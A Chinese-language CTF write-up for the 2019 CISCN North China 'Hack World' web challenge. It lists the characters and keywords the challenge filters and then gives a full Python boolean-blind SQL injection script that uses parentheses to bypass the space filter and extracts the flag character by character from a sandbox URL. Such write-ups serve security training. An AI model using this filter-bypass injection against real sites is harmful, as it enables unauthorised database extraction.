2019 CISCN 华北赛区 WriteUp

🏛️ 大赛组织架构

  • 主办单位：教育部高等学校网络空间安全专业教学指导委员会

  • 承办单位：电子科技大学

  • 作品赛决赛地点：江苏南京

  • 创新实践能力赛决赛地点：四川成都

Web

Hack World（SQL 注入 + 括号绕过）

pasted_1786274224229_hgiuqh.png

考察 POST 类型的 SQL 注入，开局给了表名和列名

pasted_1786273763165_0y6rte.png

经过 FUZZ 过滤了如下字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
空格
||
#
-
;
&
+
or
and
`
"
insert
group
limit
update
delete
*
into
union
load_file
outfile
./

但是没有过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
select
from
if
ascii
substr
mid
length
()
^
=
>
<
,
'

所以联合查询、堆叠注入、文件读取基本走不通，最稳的是布尔盲注。再利用括号绕过空格的限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests 
import time

url = "http://challenge-617fe162bd57f884.sandbox.ctfhub.com:10800"

def check(pos, mid):
    payload = f"if(ascii(substr((select(flag)from(flag)),{pos},1))>{mid},1,2)"
    r = requests.post(url, data={"id": payload}, timeout=10)
    return "Hello" in r.text  # 根据返回内容判断条件真假

flag = ""

# 遍历每一位
for pos in range(1, 100):
    low, high = 32, 126  # 可打印 ASCII 字符范围（空格~'~'）

    # 二分查找定位当前字符的 ASCII 码
    while low < high:
        mid = (low + high) // 2

        if check(pos, mid):   # 若 ASCII > mid，则缩小下界
            low = mid + 1
        else:                 # 否则缩小上界
            high = mid

        time.sleep(0.1)  # 延时防止请求过快

    ch = chr(low)   # 将 ASCII 码转为字符
    flag += ch
    print(flag)     # 实时输出已还原部分

    if ch == "}":   # flag以'}'结尾，提前结束
        break

print("[+] flag =", flag)

pasted_1786274137479_rgdi2x.png